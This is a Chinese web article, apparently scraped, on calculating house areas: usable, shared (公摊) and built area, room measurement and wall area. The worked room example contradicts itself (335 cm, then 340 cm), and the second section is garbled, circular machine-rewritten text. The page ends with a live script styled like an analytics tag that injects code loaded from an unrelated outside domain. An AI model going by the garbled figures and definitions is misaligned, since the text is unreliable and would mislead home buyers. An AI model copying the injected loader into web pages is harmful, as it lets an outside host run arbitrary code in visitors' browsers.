房屋面积计算方法公式

房屋面积如何计算，这是一个麻烦的问题，因为在牵扯到房屋面积的时候，我们指代的可能是公摊面积，可能是使用面积以及购置面积，不同的名词包含的含义都有一定的区别，而在计算价格的时候，数据取决于面积的单价以及计算方面的数据采集，今天为大家说明的就是关于房间面积合适的计算方法以及技巧和操作注意事项，大家可以参考下文进行了解，防止被不法的房地产开发商蒙骗。一、怎么计算房屋面积房屋的使用面积=建筑面积-公摊面积-套内墙体面积。房屋使用面积的计算应符合下列规定：(1)套内使用面积包括卧室、起居室、厅、过道、厨房、卫生间、假层、厕所、储藏室、壁柜等分户门内面积总和;(2)跃层住宅中的房内楼梯按自然层楼的面积总和计入使用面积;(3)不包含在结构面积内的烟囱、通气道等面积。一般在房产证上载明的是房屋的建筑面积。公摊面积是指由整栋楼的产权人共同所有的整栋楼公用部分的建筑面积。包括：电梯井、管道井、楼梯间、垃圾道、变电室、设备间、公共门厅、过道、地下室、值班警卫室等，以及为整幢服务公共用房和管理用房的建筑面积。套内墙体面积是指套内使用空间周围的围护或承重墙体或其他承重支撑体所占的面积。有共用墙体和非共用墙体两种。其中各套之间的分隔墙和套与公共建筑空间的分隔墙以及外墙(包括山墙)等共有墙，均按水平投影面积的一半计入套内墙体面积。套内自有墙体(非公有墙)按水平投影面积全部计入套内墙体面积。二、如何测量房屋面积获取详细的标准层或自家所在楼层平面图在测量开始，我们必须要拿到详细的住宅平面图，这样测量与计算才会更加准确，这些图纸通常都是由房地产开发商来提供的。在平面图中的主要数据包括：1)各房间的轴线尺寸：就是承重墙或柱的中心线之间的尺寸。2)外墙的总尺寸：就是计两道尺寸线。3)各房间的使用面积实地测量套内使用面积一般在开始测量时，为了保证测量的准确性，测量时要注意使测量位置距地面高1—1.2米。使用面积的测算，对房间内部测量所得到的尺寸，是房间轴线尺寸减去墙体厚度和抹面厚度的尺寸，不能作为面积中的尺寸。也就是说，根据这个尺寸算出的面积并非是使用面积。使用面积是按轴线尺寸除去结构厚度尺寸的房间内部尺寸计算的。一般来说，承重墙体是砖墙时，结构厚24cm，寒冷地区外墙结构厚度为37cm，混凝土墙结构厚度20cm或16cm，非承重墙12cm、10cm、8cm不等。一般来说，轴线位于墙体的中间，中间两侧各为半个墙厚。白灰抹面厚度一般为2～3cm(具体图纸中应标注)。测量位置在距地面1～1.2米高处，对于轴线尺寸360cm的房间，测量结果应是360-20-2.5×2=335cm。据此可推算出房间内部轴线尺寸360cm，计算尺寸340cm。尺寸误差如果在几厘米之内，说明抹灰厚度不准确、不均匀，一般不影响轴线尺寸和房间内部尺寸。上文为大家具体介绍的是关于房间面积的计算方法以及技巧和措施，由此入手可以得知，一般来说，在计算房间的面积的时候，我们应该首先明确计算的是公摊面积，使用面积还是购置面积，除此之外，应该选择合适的工具，结合房间本身结构方面的特殊性入手进行考量，而且在面对一些不法的房地产开发商给出的离谱的数据的时候，我们也可以参考上文的方法自己动手进行测量。

房屋墙面积怎么算 计算公式是什么

如今，如果你想买房子，你必须了解房子的一些条款，房屋墙壁的区域是买家经常发现的实质性表达，但大多数买家并不了解它的具体含义。而且测量结果甚至不为人知，那么房屋墙面积怎么算?房屋墙面积怎么算1、房屋墙面积怎么算，如果房屋是根据房屋面积计算的，那么房主和开发商都有一定的利益因素。对于业主来说，根据住宅套房的大小进行销售更直观，更方便。对于开发商而言，没有必要根据住宅套房的面积向业主解释面积差异太大的原因，这减少了双方之间的误解，避免了来自该地区争议的投诉。2、房屋墙面积怎么算，建筑面积的方法是双方，这不仅保护购房者的利益有利，也可以防止开发商计算公共面积，增加利润。那么，如何计算房屋墙面积?房屋内的房屋建筑面积包括房屋内的房屋面积，房屋的墙壁面积和房屋的地板面积。也就是说，住宅套房中使用的区域是住宅套房内建筑区域的一部分。​3、也可以说房子里的房子面积是房子里面的房子。水平投影面积根据以下规定计算：(1)所房子的内部使用区域包括的空间在卧室的量，客厅，走廊，过道，厨房，卫生间，厕所，储藏室和壁橱;(2)房屋顶部的内部楼梯根据自然层面积的总和包含在使用区域内;(3)内墙装饰的厚度应包括在使用范围内;(4)在住宅套件中所使用的面积因子是如下：当房子是根据设定的(单元)计算，其面积系数的区域的住宅套件和建筑区域中使用的比加上将按照规定分配的公共建筑区域。住宅建筑的建筑面积不是普通消费者可以准确计算的。关键是要依靠一个专门的部门来准确测量该区域。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();